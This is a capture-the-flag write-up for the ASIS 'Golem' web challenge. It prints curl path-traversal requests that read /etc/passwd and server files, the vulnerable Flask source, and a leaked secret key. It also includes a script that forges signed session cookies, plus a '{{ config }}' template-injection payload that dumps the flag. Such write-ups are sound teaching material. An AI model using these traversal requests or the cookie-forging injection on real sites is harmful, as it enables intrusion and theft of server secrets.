[Web] ASIS - Golem is stupid!


Average: 4.57
Rating Count: 28
You Rated: Not rated

Top 3 Solver

NYUSEC
0daysober
TokyoWesterns

Points
41
Solves
151
Category
Web

Description:

Golem is an animated anthropomorphic being that is magically created entirely from inanimate matter, but Golem is stupid!

Note that the server was down after the CTF ended I can’t show some pictures of the CTF as I would like.
We could easily find a LFI on https://golem.asisctf.com/article?name= :

1
curl 'https://golem.asisctf.com/article?name=../../../etc/passwd'

We could include the /etc/passwd file, we noticed the website was running on Ngnix so we tried some valid paths paths for the configuration files like this:

1
curl 'https://golem.asisctf.com/article?name=../../../etc/nginx/sites-available/golem'

And we got this
Ngnix

The important part of this config file is here! the path to the python configuration server files:

server path

After some trial and error we included the server.py with:

1
curl 'https://golem.asisctf.com/article?name=../../../opt/serverPython/golem/server.py'

The file is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python
import os

from flask import (
Flask,
render_template,
request,
url_for,
redirect,
session,
render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)


execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key

@app.route("/golem", methods=["GET", "POST"])
def golem():
if request.method != "POST":
return redirect(url_for("index"))

golem = request.form.get("golem") or None

if golem is not None:
golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")

if "golem" not in session or session['golem'] is None:
session['golem'] = golem

template = None

if session['golem'] is not None:
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<h1>Golem Name</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div>
{%% endblock %%}
''' % session['golem']

print

session['golem'] = None

return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():

error = 0

if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'

if page.find('flag')>=0:
page = 'notallowed.txt'

try:
template = open('/home/golem/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)

Now the real problem is the flag is in flag.py file but the word flag is filtered:

1
2
if page.find('flag')>=0:
page = 'notallowed.txt'

We can include the key.py which contains a key, this key according to flask documentation is used to generate session cookies, the included key was 7h15_5h0uld_b3_r34lly_53cur3d.
If we analyse the golem function we can see its filtering the {, }, . and _ characters so we can’t template inject code here, well actually if we look closely, if we provide a session cookie “golem” it doesn’t apply this filter but first we need to encrypt the cookie,this is easy because we have the key!
We found a python code online that does this after some small modifications we ended up with this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import sys

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)

def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)

# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)

if __name__=='__main__':
sk = '7h15_5h0uld_b3_r34lly_53cur3d'
sessionDict = {u'golem':sys.argv[1]}
cookie = encodeFlaskCookie(sk, sessionDict)
decodedDict = decodeFlaskCookie(sk, cookie)
print cookie

We tried to read the flag.py via template python code but we failed hard, after that I stopped and decided to read about some global variables on flask documentation(http://flask.pocoo.org/docs/0.12/templating/), and we found a config global variable we included and the flag was in the dictionary attribute ‘flag’:

1
2
3
4
5
$ python manageFlaskSession.py "{{ config }}"
eyJnb2xlbSI6eyIgYiI6ImUzc2dZMjl1Wm1sbklIMTkifX0.DJeaSw.hiqTyJ7xj6WCZEX87xbKa48Bjkc

$ curl 'https://golem.asisctf.com/golem' -H 'Cookie: session=eyJnb2xlbSI6eyIgYiI6ImUzc2dZMjl1Wm1sbklIMTkifX0.DJeaSw.hiqTyJ7xj6WCZEX87xbKa48Bjkc' --data ''
{--omited--,'flag':'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}',--omited--}